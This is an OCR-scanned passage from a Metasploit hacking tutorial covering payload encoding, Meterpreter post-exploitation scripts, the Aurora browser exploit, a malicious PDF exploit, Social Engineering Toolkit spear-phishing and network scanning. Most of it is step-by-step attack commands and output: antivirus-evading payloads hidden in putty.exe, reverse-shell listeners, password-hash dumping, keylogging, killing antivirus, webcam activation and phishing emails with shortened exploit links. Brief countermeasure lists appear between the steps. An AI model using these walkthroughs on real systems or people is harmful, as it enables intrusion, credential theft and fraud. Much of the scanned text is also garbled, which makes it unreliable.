x86/shikata ga nal succeeded with size 371 (iteration=3)
xBb/shikata ga nal succeeded with size 398 (iteration=4)
xBb/shikata ga nai succeeded with size 425 (iteration=5)
x86/countdown succeeded with size 443 (iteration=1)
x86/countdown succeeded wifh, siZe 46% || idcrations2)
x86/countdown succeeded with size 479 (iteration=3)
x86/countdown succeeded with s5ize ¢ {iteration=4)
x86/countdown succeeded with size 5 (1teration=5)
%86/countdown succeeded with 333 (iteration=6)
/countdown succeaded with size 551 (iteration=7)

x86/countdown succeeded with si {iteration=8)

Explanation
In the above command | have used 3 encoders.l have differntiated 3 of them in different
colours.
Red colour: msfencode -e x86/shikata_ga_nai -c 5 -t raw
I encoded shikata_ga_nai encoder 5 times and type of output is raw.

Green colour: msfencode -e x86/countdown -c 8 -t raw
I encoded countdown encoder 8 times and type of outpur is raw

Pink colour: msfencode -e x86/shikata_ga_nai -c 9 -t exe
| encoded shikata_ga_nai encoder 9 times and type of output is exe

I did all these encoding to evade antivirus detection.This is called multi encoding because
i used many encoders to encode my payload.



Encoding with Custom executabel templats

Step 5: msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.217.133
LPORT=4444 R | msfencode -e x86/shikata_ga nai -c5 -t exe -x putty.exe
-0 payload.exe -k

~# msfpayload windows/meterpreter/reverse tcp LHOST=192.168.217.133 LPORT=444%R | msfencode -e »
6/shikata ga nal -c 5 -t exe Fx putty.exe o payloadd.exe -
[*] xB86/shikata ga nai succeedfthwi®h si%e 327 (1lergtiph=19

K

[*] xB6/shikata ga nal succeeded with size 344 (iteration=2)
xB6/shikata ga nai succeeded with size 371 (iteratiaon=3)
B6/shikata ga nai succeeded with size 398 (iteration=4)

¥86/shikata ga nai succeeded with size 425 (iteration=5)

Explanation:

| encoded my payload with shikata_ga_nai encoder 5 times and type of output is
.exe.

-X putty.exe --------- This is custom executable templete
-0 payload.exe------- Output file and the name of file is payload
-k It create a new process and run stealthy in the

background



Chapter Eight
Meterpreter scripting

Meterpreter has many inbuilt scripts to complete our difficult task with using
just a sample script.We can create our own scirpts using ruby language and run those
scripts after exploitation.

rpreter#

You can see sample scripts in the above picture.There are more than 200 scripts available
in metasploit to do our post exploitation.Now i will discuss some important scripts.

1.checkvm
2.credcollect
3.keylogrecorder
4.vnc

5.webcam
6.getcountermeasure
7 killav

8.scraper
9.enum_firefox
10.file_collector
11.arp_scanner
12.gettelnet
13.hostedit



To execute a particular script you should use the "run" command along with that
script name.

Usage: run checkvm

1)checkvm :This script is used to check target is runnig or virtual machine or not.

meterpreter > run checkvm
[*] Checking if target is a Virtual Machine

[*] This 1s a VMware Virtual Machine
meterpreter > |

2)credcollect:This script is used to collect the hacked passwords.

Usuage :run credcollect

meterpreter > run credcollect
[+] Collecting hashes...
Extracted: Administrator:aad3b435b51404eeaad3b435b51404e¢
89c0
Extracted: Guest:aad3b435b51404eeaad3b435b51404ee73Tdbefd
Extracted: HelpAssistant:d4459ble4d65ef09b730e85c82b5d2¢€
716e
Extracted: SUPPORT 388945a0:aad3b435b51404eeaad3b435b5140

83ef4a9

[+] Collecting tokens...
KALEEM-27A12BDC\Administrator
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK [SERVICE
NT AUTHORITY\SYSTEM
NT AUTHORITY\ANONYMOUS LOGON
meterpreter > |

3)keylogrecorder: This script will record all keystorkes which has typed on the victim
system.

meterpreter > run keylogrecorder

[*] explorer.exe Process found, migrating into 1388

[*] Migration Successful!!

[*] Starting the keystroke sniffer...

[*] Keystrokes being saved in to /root/.msf4/logs/scripts/#keylogreco
0121216.2945. txt
[*] Recording




4)vnc:This script is very useful script.It gives remote desktop connect on the remote
system.you can see my windows system here.
Usage : run vnc

5)webcam;This script automatically switches on the webcam on the remote machine
and we can view them remotely.

Usage: run webcam

6)getcountermeasure:This script is a wonderful script.It can bypass the

antiviruses,firewall,and intrusion detction system on the victim machine.
: ete run getcountermeasure
Running Getcountermeasure on the target...
Checking for contermeasures...
[*] Possible countermeasure found MSASCui.exe C:\DocUments and _Setting
s\Administrator\Local Settings\Temp\MSASCui.exe
[¥] Getting Windows Built in Firewall configuration...
I

|
* ] Domain profile configuration:
|

Operational mode = Enable
Exception mode Enable

*]
*]
[*]
[*] Standard prefilé,configuration .(curtent):
]

¥ ] Operational mode = Disable
] Exception mode Enable

Local Area Connection firewall configuration:

Operational mode

Checking DEP Support Policy...



7)killav:This script kills the antivirus on the victim system.

Usage :run killav

meterpreter > run killav

[*] Killing Antivirus services on the target...
*] Killing off ntvdm.exe...

8)Scraper:This script is very handy.It will download all the system informtion and all the
registry information.

Usage : run scraper

New session on 192.168.217.131:445...
Gathering basic system information...
Dumping password hashes...
Obtaining the entire registry...
Exporting HKCU
Downloading HKCU (C:\WINDOWS\TEMP\ItbgGJfn.reg)
Cleaning HKCU
Exporting HKLM
Downloading HKLM (C:\WINDOWS\TEMP\FbLUNocC.reqg)
Cleaning HKLM
Exporting HKCC
Downloading HKCC (C:AWINDOWS\TEMP\XMTkQPSI.reg)
Cleaning HKCC
Exporting HKER
Downloading HKCR (C:\WINDOWS\TEMP\bmlCZsJI.reqg)
Cleaning HKCR
Exporting HKU
Downloading HKU (C:\WINDOWS\TEMP\uxMbyTId.reqg)
Cleaning HKU
Completed processing on 192.168.217.131:445...
erpreter > |j




9)enum_firefox:This script will gather the stored passwods and cookies in the firefox
browser on the victim's system.

Usage: run enum_firefox

10)file_collector:This script is used to gather existing files on the target system.We can
gather doc,pdf and text files using this script.

run

[*] c:\Documents

er\brndlog. txt (5947

Kl c:\Documents

ytes)

[*]

4 bytes)
c:\Documents
c:\Documents

(919 bytes)

[*] c:\Documents

1 bytes)

[*] c:\Documents

(5007920 bytes)

[*] c:\Dacuments

17440 bytes)

[*] c:\Documents

txt (1702 hyte

[*1 c:\Docume

c:\Documents

and

file collector -d c:\\ -

Settings\Administrator\Applictation, Data\Microsoft\Internet Explor

bytes)

and
and
and
and
and
and

and

and

Settings\Administrator\Cookies\administrator@gliffy[2].txt (264 b
Settings\Administrator\Cookies\administrator@gbogle.co[1l].txt (35
Settings\Administrator\Cookiesh\administrator@www.gliffy[1].txt (1
Settings\Administrator\Local SettingsATEMP\OOEL1322\manifest.txt

Settings\Administrator\Lacal Settings\Temp\AUCHECK PARSER.txt

27

Settings\Administrator\Local Settings\Témp\dd netfx2@MSI177F.txt

Settings\Administrator\Local Settings\Temp\dd netfx20UI177F.txt (
Settings\All Users\Application Data\VMware\VMware Tools\manifest.

gs\All Users\Application Data\VMware\VMware Tools\Unity Fil

ALL Users\Application Data\VMware\VMware Tools\Unity FilQ

I used many optins to search files, you can see various options using -h option

-d ----—---- To search a particular direcotory
f e To search a particular file type.Here i am searching text files.
-r---m-mm---- To search recursively

Usage: run file_collector -d c:\\ -f *.txt -r



11)gettelnet:This script enables the telnet session on the remote pc.

Usage :run gettelnet

meterpreter > run gettelnet
Windows Telnet Server Enabler Meterpreter Script

Usage: gettelnet -u <username> -p <password>

Enable Telnet Server only.
Forward Telnet Connection.

Help menu.

The Password of the user to add.
The Username of the user to add.

meterpreter > run_gettelnety-e

[*] Windows Telne#, Sexver Enabler Meterpreter Script

[*] Setting Telnet Server Services service startup mode

[*] The Telnet Server Services service is not set to auto
[*] Opening port in local firewall if necessary

[*] For cleanup use command: run multi console command -rc /
net/clean up 20121216.3131.rc

meterpreter > |}

12)arp_scanner:This script is used for pivoting and portforward and we can enumerate

local interfaces using this script.
Usage : run arp_scanner

13)hostsedit:This script is used to edit host file into the remote system.

meterpreter > run hostsedit

This Meterpreter script is for adding entries in to the“Wimdows Hosts file.

Since Windows will check first the Hosts file instead.of-the=Configured DNS Server
it will assist in diverting traffic to the fake entry or-entries. Either a single
entry can be provided or a series of entries provided a file with one_per line.

OPTIONS:

-e <opt> Haost entry in the format of IP,Hostname.

-h Help Options.
-1 <opt> Text file with Fistsof entriess xnsthey, format-of IP,Hostname. One per 1

Example:

run hostsedit -e 127.0.0.1,google.com




Chapter Nine
Client Side Exploitation

Client side attacks were the next evolvement of attacks after network defense
became much robust.These attacks target the software which is installed on the victim
computer like browsers,pdf readers and MSword readers.These softwares are commonly
installed on every computer either it is an office computer or our personal computer.

These attacks have been bestselling because of lack of awareness in the
people.In client side attacks,the attacker can send exploits using social engineering
techniques.The systems which open that file or malicious link sent by the attacker will be
compromised.

Countermeasures:

1.Update your antivirus and antispyware software.

2.Update your operating system and web browsers on a regular basis.

3.Update your pdf reader (eg abode,foxit),flash players(quicktime,flash),word document
readers(MSword).

4.Do not visit atrocious websites.

5.Download softwares from genuine websites because some websites offer spyware
software.

6.Mozilla and chrome users can use security addons like WOT(Web Of Trust),NoScript
and Better Privacy.

Browser based exploits:in this module our main target is browser.Now i will
demonstrate an infamous exploit Aurora.

Internet explorer Aurora memory corruption:

In the year 2010 this exploit came into picture.Hacker used this exploit to attack
many multinational companies.This module exploits memory corruption flaw in the
internet explorer 6 version.



Demo Time
Step1: use exploit/windows/browser/ms10_002_aurora

sf > use exploit/windows/browser/msl0 002 aurora
st exploit( ) > show options

Module options (exploit/windows/browser/msl0 002 aurora):

Name Current Setting Required Description

SRVHOST 0.0.0.0 The local host to Uisten on. “Fhis must H

ress on the local machine or 0.0.0.0

SRVPORT 8080 yes The local port to listen on.

SSL false no Negotiate SSL for incoming Connections

SSLCert no Path to a custem SSLIcertificate’ (defau
domly generated)

SS5LVersion 55k3 no Specifyfthe.version of SSL that should
accepted: SSL2, SSL3, TLS1)

URIPATH no The URI to use for this exploit (default
om)

Type "show options"to view different options.we have to set SRVHOST,SRVPORT and
URIPATH.

Step 2:

msf exploit(
SRVHOST => 192.168.217.133

mst exploit( ) > |set SRVPORT 80 |emmteseey

SRVPORT => 80

msf exploit( ) >[set URIPATH / |umtzsee3

URIPATH => /

msf exploit( ) > Jset payload windows/meterpreter/reverse tcp
payload => windows/meterpreter/

msf exploit(

1)l am setting SRVHOST as my local address.This is my system's
ip address.

2)l am setting SRVPORT as 80

3)I am setting URIPATH as /

4)l am setting meterpreter reverse_tcp as payload.

5)To view different options type show options



Step 3

Name Current Setting Reguired Description

EXITFUNC \ Exit technique™seh, thread, process, none
LHOST The listen_address
LPORT 4444 The listen port

Exploit target:

Id Name

0 Automatic

msf exploitf ) >|set LHOST 192.168.217.133 |metsesy
LHOST => 192.168.217.133
msf exploit(

1)l am setting LHOST to my ip address
2)To run the payload on the remote system type "exploit"
Step4:
1.Malicious URL has created.Now we have to send that url to victim.you can see i
have opened that url inmy windows xp(victim)system.

B fep:i/192,168.217.1337mHNLOTOMCUWDFSYiCNU - thicrosoft Imternet Explorer
Fic Edt Yiw Favoriss Tools Hedp

3 =ack - [x] [B] o0 D ole w88 2 L 3

sdctese ] http (192,168,217 © 3ErHILOTO ML DESNICHL_ b=

A htip inzaesei7 s o |,



2.When i open that link Aurora exploit start working.
[*#] Expleit running as background job

2.168.217.133:4444
z -.__.J.h.,a"' 1
802 aurora - Sending Internet Explorer "Aurora
] Meterpreter session 1 opened (192.168.217

exploit(ms ) = session -1
Unknown command: session.
mst  exploit!( ) =gesSions -1

Active sessions

Connection

EEM-27A12BDC 192

.168.217,133:4444 -» 1t

3.You can see my windows system has been compromised.
4 You are greeted with meterpreter shell.

This exploit has been working flawlessly on internet explorer 6 version. So it is better to
update your browser.



File format exploits

File format exploits are new generation exploits.In this method we will send a
file of type pdf,doc or xlb file to the target.when the target opens that file their system
gets compromised.

Demo Time :
Adobe util.printf() Bufferoverflow vulnerability:

There is buffer overflow vulnerabillity in adobe reader and adobe acrobat
reader version 8.1.By creating a specially crafted pdf we can exploit the target
system.You can read more about this vulnerability in the below link.

http://www.metasploit.com/modules/exploit/windows/fileformat/adobe_utilprintf
Step 1: use exploit/windows/fileformat/adobe_utilprintf

msf > use exploit/windows/fileformat/adobe utilprintf
msf exploit( ) > show options

Module options (exploit/windows/fileformat/adobe utilprintf):

Name Current Setting Required Description

FILENAME msf.pdf

Exploit target:

Id Name

® Adobe Reader v8.1.2 (Windows XP SP3 English)

| am using adobe utilprintf exploit.Type "show options" to view different types of
options.

Step 2:Change the file name

Usage: set FILENAME book.pdf

msf exploit( ) > set FILENAME book.pdf
FILENAME => book.pdf
msf exploit( ) > show options

Module options (exploit/windows/fileformat/adobe utilprintf):

Name Current Setting Required Description

FILENAME book.pdf



http://www.metasploit.com/modules/exploit/windows/fileformat/adobe_utilprintf

Step 3: Set a meterpreter payload,and fill LHOST and type "exploit"command to
generate a malicious pdf .

Usage : set payload windows/meterpreter/reverse_tcp

explt)l'ti |' > set pa}r-l_ﬁad Wiﬂd'j\fd'f'/me'teI’pl"eter',"r‘everse_t
payload => windows/meterpreter/reverse_tcp
msf exploit( ) > set LHOST 192.168.217.133
LHOST => 192.168.217.133
msf exploit( ) > set LPORT 4444

LPORT => 4444
msf exploit(
msf exploit(

[*] Creating 'book.pdf' file. ,.
book.pdf stored at

Malicious pdf has been created and it is saved in /root/.msf4/local/book.pdf directory.
Copy that pdf to your desktop.Use "cp" command to copy the malicious pdf & send that
pdf using some social engineering techniques.

Step 4: Setting up a listener

Usage : use exploit/multi/handler and set meterpreter as payload.You should use the
same payload as above.

umsf > use exploit/multi/handler
st exploit( ) > show optians

Module options (exploit/multi/handler):

Name Current Setting Required Description

@ Wildcard Target

msf exploit( ) > set payload windows/meterpreter/reverse tcp
payload => windows/meterpreter/reverse tcp
msf exploit( ) > show options




Step 5:
Usage : set LHOST 192.168.217.133(My system ip address)

msf exploit( ) > set LHOST 192.168.217.133
LHOST => 192.168.217 133
msf exploit( ) exploit

[*] Started reverse handler on 192.168.217.133:4444
[*] Starting the payload handler...

Type "exploit"” to start the payload handler.when ever the victim clicks the malicious pdf
you will be greeted with a meterpreter shell.

Step 6 :

[*] Started reverse handler on 192.168.217.133:4444

[*] Starting the payload handler...

[*] Sending stage (752128 bytes) tp 192.168.217.131

[*] Meterpreter session 2yopened (192+168721/ 133:4444-.->7192,168.2
1051) at 2012-92-98 19:34:50..+0530

peterpreter > sysinfo

Computer : KALEEM-27A12BDC

S : Windows XP (Build 2600, Service Pack 2).
rchitecture : X86

bystem Language : en US system information
leterpreter : x86/win32

Meterpreter shell
has opened and you
can see my victim

You can get meterpreter shell on your windows xp machine.We also have exploits in
Microsoft word and excel with latest version 2007 and 2010.

Countermeasure:

1.Update your pdf readers and word readers.
2.Do not open malicious attachements from unknown persons.



Chapter Ten
Social Engineering Tookit(SET)

Social engineering is the art of mainpulating people into performing actions or
divulging confidential information like passwords.

SET was developed by David Kenndy using python language with the help of
security community.The main aim of SET is to fill a gap in the penetration testing
community and bring awarness about the social engineering attacks.Any firewall or
network intrusion detection system cannot stop social engineering attacks because in
social engineering ,the weakest link in the security chain is human stupidity.

The attacks built in this toolkit were designed to attack a person or an
organization.This tool kit has different modules In this tutorial | will perform spearphising
attack.

Spearphising Module:

This module allows you craft email messages and send them to a large number of
people or a single email address.In this attack we will perform fileformat exploits.We will
send an email to a person with an attachement like adobe reader or zip file format.when
the victim clicks on the attachment their system will compromise.We will get a shell on
that system.

How to open social engineering toolkit ? :



Steps: cd pentest/exploits/set# ./set

File Edil View Tesminal Help
- Ly it
Social Engineer Toolkit (SET)
Tad by (RpL1K)
Develapment Team:
Nevelapment T

Cevelopmen

Codename: 'Bagels Bagels Gagels
Report cavekGtrustedsec. com
us on | er BC

on Twi

]
!
]
1
== Version:
|
I
|
I
|

af :
Homepage: hllps://www. Lrusledsec. com

Welcome Lo Lhe Secisl Engineer Toolkil (SET). Your one
stop shop for all of vour social engincering needs..

lain s an irc.Treennde.net in channel #setaolkit
The Social-Engineer Toolkit is a product of TrustedSec.
Visit: https: i wwwitrustedser.com

Select from the menu:

| Sucial-Engineering n=_Lc-;|-L[ﬁ hoose social-Engineering attacks type | below

!} Fasl-Track Penelralion Tesling
| Third Parly Modules

1] Update the Metasplodlt Framework

} Upnate tho Secial Englrepr TaolkiT
} Update SET configuration

} Help, Crenits, and Abaut

99) Exit the Social-Cnginesr Toolxit
.__L

Step 2: Choose spear-phising attack vector.You can see various other modules are also
available.You can try all those by yourself.It is very easy to use social engineering
tookit.No need to remember commands to use this toolkit. The GUI is very user friendly.

Select from the menu:

I1) Spear-Phishing Attack Uector‘s‘% hoose spear-phising attack vector

2) Website Attack Vectors

3) Infectious Media Generator

4) Create a Payload and Listener

5) Mass Mailer Attack

6) Arduino-Based Attack Vector ere are |“a“y utheplnnudles are
7) SMS Spoofing Attack Vector

8) Wireless Access Point Attack Vector here you can try hy 'fl]l.ll‘SBIf

9) QRCode Generator Attack Vector

l0) Powershell Attack Vectors

L1) Third Party Modules

99) Return back to the main menu.

L Type | here

The Spearphishing module allows you_to specially craft email _messages.and send
them to a large (or small) npdmber [oT people with attached fileformat malif€lious
payloads. IT you want Tuo, spoaf your emall address, Be sure "Sepdma&il® is in-
stalled (apt-get install sendmail) and change the config/set conftig SENDMAIL=0FF
flag to SENDMAIL=0N.

There are two options, one is getting your feet wet and letting SET do
everything for you (option 1), the second is te create your own FileFormat
payload and use it in your own attack. Either way, good luck and enjoy!

1) Perform a Mass Email Attack
2) Create a FileFormat Payload
3) Create a Social-Engineering Template




Step 3: Choose "perform mass email attack option" , it will display various file format
exploits.

o Email Sl ilogci hoose mass email attack
eFormat Payload
iel-Encinesring Template

oy oo 53 M
Create & 1
Create & So

Relurry La Madin b =T R

L) type 1 here

ect the file formmat explcocit wou want.
=Faull is Lthe PDF cmbedded EXFE.

e e e i i o

wou can sae differnet kinds d:ﬁle'Fnrmat exploits has displaved.

SET Cusmiflaom Wrillen DLL Hijacking ALbllsck “YWeclar {PRAR, ZIP)}
SET Custam Written DocizmentT LFRC M SHMB Capture ATtoack
MicrosoTt Windows CreateSizedDIBSECTION StAack ButTfer OwerT1
MicrosoTLt wWora RTF pFragments Stack Butter Oweritiliow (HMS1OD-68
Adobe Flashh Player "Bullon™ ReEmnmole Code Ex<xecwml ion

Arfobhe CoalTypoe STHG Tabhle YLaredl g Namet 0 o T T

Adaobe FLash PlLayes " newssfuanct ion ' T noecs BS dY ol e r

Adobe Collab.col Sgtimatl Inftog Dbt er Onranf Lows

Adobe Collab.gcetIcon Bufter Ower T Low

Arfobe ITBRTG2Docordc Momory Corroagpl § o

Adobe PDF Embedded EXE Socisl Engime

Adobe uatil . printi () Buffer Oweri lLow

Custom EXE to WBA (sent wia RAR) ({RAR

Adobe UED CLODProgroessiveMeshiDooclaral ion

Ardohe PDF Embhedded EXE Social Englimesring

Foxit PDF Reader wa3.7 .1 Title Stack BiurfrTer

Apple Duickiime FPLCO1 FPFrnSize BudfTer Ouer T Low

Muance PDF Reasder w6 .0 Launch Slack Bufl fTer Owoer oow

Adohe Roacer u3ID Momory Corraption YWoalnerabd T4ty
MSCOMCTEL ActiweX BuouffTfer Dwer fLow imsl=a-G27 ]

PORNSNINEAWNMFIPESNDWVEWNE

B e e e

Step 4 :We are selecting adobe reader buffer overflow vulnerability.You can see
diffenrent payloads have generated according to our exploit.

Microsoft Word RTF pFragments Stack Buffer Overflow [M510-087)
Adcbe Flash Player "Button" Remote Code Execution

Adcbe CoolType SING Table "uniqueName” Uverfluw
& g : i L :

Collab. (ullectEmaillnfo Buffer OJerﬂou #
ORE S ! hoose adobe reader buffer overflow fiel format exploit.

C
Adcbe JBIG2Decode Nemcry Corruption Exploit
Adche PDF Emhedded EXF Social Engireering
Adcbe util.printf() Buffer Overflow
Custom EXE to VBA (sent via RAR) (RAR required)
Adcbe U3D CLODProgressiveMeshDeclaration Array Overrun
Adobe PDF Embedded EXC Social Cngineering (NOJS)
Foxil PDF Reader v4.1.1 Tille Slack Bulfler Overfllow
Apple QuickTime PICT PnSize Buffer Overflow
Nugnce PDF Reader v6,0 Launch Stack Buffer Overflow
Adcbe Reader u3D Memory Carruption Vulnerability
MSCOMCTL ActiveX Buffer Overflow (msl2-027)

>
you can see differnt payloads for for our file format exploit.

1) Windows Reverse TCP Shell Spawn a command shell on Victim and send Wdek.fo attacker
Wirdows Meterpreter Reverse TCP Spawn a meterpreter shell on victim and send back to attacker
Windows Reverse VNC DLL Spawn a VNC server on viclim and send back lo allacker

4) Windows Reverse TCP Shell (x64) Windows X64 Commanc Shell, Reverse TCP Inline

5) Windows Meterpreter Reverse TCP (X&4) Connect back to the attacker [(Windows xb64), Meterpreter

6) Wirdows Shell Bind TCP (X64) Execute payload anc create an accepting port on remote system

7) Windows Meterpreter Reverse HTTPS Tunnel communicaticon over HTTP using SSL and use Meterpreter

et:p )
> IP zddress for the payload listener: 192.168,217.133
ads> Port to cornect back on [443]:
faulting to port 443...

1 De
Generating fileformat exploit...

Step 5:The payload has generated.Now choose first option to keep the same file name or
else you can use your preferable name.




loits ! j e tTemptate.pdf dircctory
creslor lo creale | roal tachmend

Right now the attachment will be imported with filename aof 'template.whateyes
De you want to rename the file?

example Enter the new filename: moo.pdf

hoose option 1.Keep file name same o you can

Z. Renzme the Tile, I want to bes cool

Social Engineer Toolkit Mass E-Mailer

There are two options on the mass e-mailer, the first would

be to send an email to one individual person. The second option

will allow you to import a list and send it to as many people as
you want within that 1list.

What do you want to do:

99, Return to main menu.

Do you want to use a predefined template or craft
a one time email template.

1. Pre-Defined Templafe hoose pre defined templete
emplate

-] templates:
: Baby Pics
Strange internet usage from your computer
Have you seen this?
Computer Issue arious templetes are available to

Order Confirmation h
Dan Brown's Angels & Demons 0ose.

Status Report
: How long has it been?
J: New Update




Step 7:Here i am choosing status report as my template and i am giving the victim's
email address.

Next give your email address.You can give gmail,yahoo,hotmail email address.You
have to set these options in SET config file and type the password for your email.

You should install "sendmail" package in your backtrack.If not you can install
using "apt-get install sendmail”" command.You should change the option
SEND_EMAIL=0OFF to SEND_EMAIL=ON in SET config file.

What do you want to do:

1. E-Mail Attack Single Email Address
2. E-Mail Attack Mass Mailer

99, Return to main menu.
1>1

Do you want to use a predefined template or craft
a one time email template.

1. Pre-Defined Template
2. One-Time Use Email Template

:ph =1

-] Available templates:

: Baby Pics

: Strange internet usage from younycomputer
: Have you seen this?

: Computer Issue

: Order Confirmation

: Dan Brown's Angels & Demons
JAAAALLLLLELLEL This is crazy...

T e Choose status report as templete

10: New Update
i 1>8

10> Send email to:victimemail@gmail.com ive vicim El“ﬂil 3ddmss

[
1
4:
5

- N

1. Use a gmail Account for your email attack.
2. Use your own server or open relay
Give your email address and type the password for your email.

1ph >} Your gmail email address:attackeremail@gmail.com
Email password:

When the victim opens your email and opens the evil attachement,their system gets
compromised.you have to set a listener to get a shell.



Step 8: How to set up a listener ?

You have to use an exploit to listen.
Steps
1) use exploit/multi/handler
2) set payload windows/meterpreter/reverse_tcp
3) set LHOST "Your system ip address"
eg: set LHOST 192.168.217.133
4) set LPORT "Give a port number to listen
eg :set LPORT 1234
5) exploit

when the victim opens your attachment you will be greeted with a meterprete shell
after which you can do many tasks.

Countermeasures:
Do not open malicious links from suspected or unknown people.Use addon
WOT(Web of Trust).Update your antivirus on a daily basis.

In SET you have many modules.One of them is "Website Attack Vector" module.In this

module you can do "Metasploit Browser Exploitation"”,"Java applet attack"”,"Man in the
middle attack" "Tabnapping attack" and many more .

Another eg: Metasploit Browser Exploitation:

In this attack the main victim is the Browser.In this we can choose a web templete
for eg :gmail,facebook,yahoo the templete looks like same as genuine page.Then we can
choose many browser based exploits.

You can choose infamous exploit "Browser Auto pwn".Next set payload for
listening.Then SET creates an ip address.Convert that ip address using bitly shortner
website.And send that url to the victim.Whenever they open your crafted url their
system gets compromised.Even, they donot know that their system has been
compromised.

Countermeasures:

1)Update you browser on a daily basis.Install security patches from your operating
system Vendor.

2)It is better to use Firefox or chrome browser rather than using the internet
explorer.

2)Install a personal firewall to monitor your web traffic.



Chapter Eleven

Auxiliary Modules
Auxiliary module are not exploits.When we hear about metasploit we always
think about how to get a shell on a remote system.But in Pentesting we have to do many
tasks like scanning the remote host,finding open ports ,server configuration and mis-
configuration .

In metasploit framework we have more than 560 auxiliary modules which include

1) Scanners
2) Fuzzers
3) HTTP
4) server
5) Dos
and many more.l will show you how to work with auxiliary modules.You can acces
auxiliary module using below navigation.
Usage: cd /opt/metasploit/msf3/modules/auxiliary#

: /opt/metasploit/msf3/modules/auxiliary# 1s
admin  bnat  crawler fuzzers pdf server spoof voip
analyze client dos gather scanner sniffer Sgliss, vsploit

: /opt/metasploit/msf3/modules/auxiliary# ||

This is the main folder structure .All our auxiliary modules are arranged in good
manner.We can use it accordingly.

msf > use auxiliary/

Display all 563 possibilities? (y or n)
auxiliary/admin/2wire/xslt password reset
auxiliary/admin/backupexec/dump
auxiliary/admin/backupexec/registry
auxiliary/admin/cisco/cisco secure acs bypass
auxiliary/admin/cisco/vpn 3000 ftp bypass
auxiliary/admin/db2/db2rcmd
auxiliary/admin/edirectory/edirectory dhost cookile
auxiliary/admin/edirectory/edirectory edirutil
auxiliary/admin/emc/alphastor devicemanager exec
auxiliary/admin/emc/alphastor librarymanager exec
auxiliary/admin/ftp/tdtanftp xcrge traversal
auxiliary/admin/hp/hp sdata=protector cmd
auxiliary/admin/hittp/contentkeeper, fileaccess
auxiliary/admin/http/hp web jetadmin exec
auxiliary/admin/http/iis auth bypass
auxiliary/admin/http/intersil pass reset
auxiliary/admin/http/iomega storcenterpro sessionid

Usage: Use auxiliary/ press tab twice you can see a list of auxiliary modules



Portscanners:
Port scanners are used to see which ports are open on the target system.Now i am
using a tcp port scanner to open ports on my windows xp system.

Usage:use auxiliary/scanners/portscan/tcp
Type "show options" to view available options
msf > use auxiliary/scanner/partscan/tcp

msf auxiliary( ) > show options

Module options (auxiliary/scanner/portscan/tcp):

Name Current Setting Required Description

CONCURRENCY 10 y The number of concurrent™pgrts to check per h

PORTS -1000¢ yes Ports to scan (e.gs 22-25,80,110-900)

RHOSTS |set Remote in address yes The target address “mapge Dr tIDP identifier

THREADS y The number of concurrent threads
TIMEOUT 1000 ye The socket copnect Timeout in\milliseconds

sf auxiliary(t®s) S

Set remote ip address ----- set RHOSTS 192.168.217.131
Change port numbers------ set PORTS 1-1000

auxiliary( ) > set PORTS 1-200
PURTS => 1-200

msf auxiliary( ) > set RHOST 192.168.217.131
RHOST => 192.168.217.131

Now type "run" to run the portscanner

auxiliary( ) > run

*] 192.168.217.131:23 - TCP OPEN |]Yyoucan
*] 192.168.217.131:135 - TCP OPEN | seetthe
*] 192.168.217.131:139

[*] Auxiliary module execution completed



Scanning for netbios:

usmsf > use auxiliary/scanner/netbios/nbname
msf auxiliary( ) > show options

Module options (auxiliary/scanner/netbios/nbname):

Name Current Setting Required Description

BATCHSIZE 256 The number~0f hosts to probe in each set
CHOST The local client address

RHOSTS The target address range or CIDR identifier
RPORT 137 The target port

THREADS 1 The number of cancurrent threads

1.Set remote hosts----- set RHOSTS 192.168.217.131 and type "run" to run the module.
auxillary(nbname) > set RHOSTS 192,166,217,131

HOSTS => 192,168.217.131
sf auxiliary| ) s run you can see the nethios informtion of my windows xp system,

ending NetBIOS requests to 192.168.217.131-192.168.217.131 (1 hosts)
92,168.217.131 [KALEEM-27A12BDC] 0S:Windows Names: (KALEEM-27A128DC, WORKGROUP, _r
%) Addresses:(192,168.217.131) Mac:00:0¢:29:73:67:81 Virtual Machine:\MWare
U ] [ LUU= CUMpLELE
 moqule execution comp

Checking for smbversion:

Checking whether the smb service is running or not.

msf > use auxiliary/scanner/smb/smb version
auxiliary( ) > show options

Module options (auxiliary/scanner/smb/smb version):

Name Current Setting Required Description

RHOSTS The target-address range omCIDR identifier
SMBDomain WORKGROUP The Windows domain t© use for“authentication
SMBPass The password for the specified username
SMBUser The username to authenticate as

THREADS 1 [ The number of concurrent threads




Setting rhost----------- set RHOSTS 192.168.217.131

nsf auxiliary( ) > set RHOSTS 192.168.217.131
RHOSTS => 192.168.217.131
nsf auxiliary( ) > run

You can see the information

I¥] 192.168.217,131;445 1s running Windows XP Service Pack 2 (language: English) (name:KA
{EN-27A12BDC) (domain:WORKGROUP)
I*] Scanned 1 of 1 hosts (100% complete)

Checking the connected hosts :

> Use guxiliary/scanner/discovery/arp sweep
auxiliary( ) > show options

Module options (auxiliary/scanner/discovery/arp sweep):
Name Current Setting Required Description

INTERFACE The name of the intepface

RHOSTS yes The target address nange or CIDR identifier
SHOST no Source IP Address

SMAC no Source MAC Address

THREADS yes The number of concurrent thredds

TIMEOUT 5 yes The number of seconds/t0 Wait for'new data

set RHOSTS 192.168.217.131

auxiliary( ) \>/set RHOSTS, 192.168.217.131
RHOSTS => 192.168.217.131 Only one host is connected

msf auxiliary( ) > run thatis windows xp system

*] 192.168.217.131 appears to be up (VMware, Inc.).
*] Scanned 1 of 1 hosts (100% complete)
x| Auxiliary maodgule execution completeg

There are many scripts availabe to do make simple.You can try many other scripts
according to your need.



Chapter Twelve
Linux exploitation

So far,you have seen windows exploitation .Now i will show you how to
exploit linux operating system.In this chapter we will use metasploitable 2
which is intentionally vulnerable ubuntu linux based operating system.This operating
system was developed by metasploit developers for security professionals to practise
their tools on this operating system.

It has vulnerable web applications "mutillidae and DVWA(Damn vulnerable
web application) they contain all the vulnerabilities of OWASP top 10 and many
more.You can download metasploitable 2 from the below link.

https://sourceforge.net/projects/metasploitable/files/Metasploitable2/

After downloading from the above link you can install it in your Vmware.After
system boots up you can login in your metasploitable 2 using username msfadmin and
password msfadmin.

First,we have to know the ip address,.Just type 'ifconfig' to know the ip
address.Then go to your backtrack machine , use nmap tool to scan open ports and
services to know which services are running in the metasploitable 2 machine.


https://sourceforge.net/projects/metasploitable/files/Metasploitable2/

Scanning with nmap: We have to use nmap to scan open ports and services running.

Usage : nmap -sT -v 192.168.217.136(Metasploitable ip address).

msf > nmap -sT -v 192.168.217.136
[*] exec: nmap -sT -v 192.168.217.136

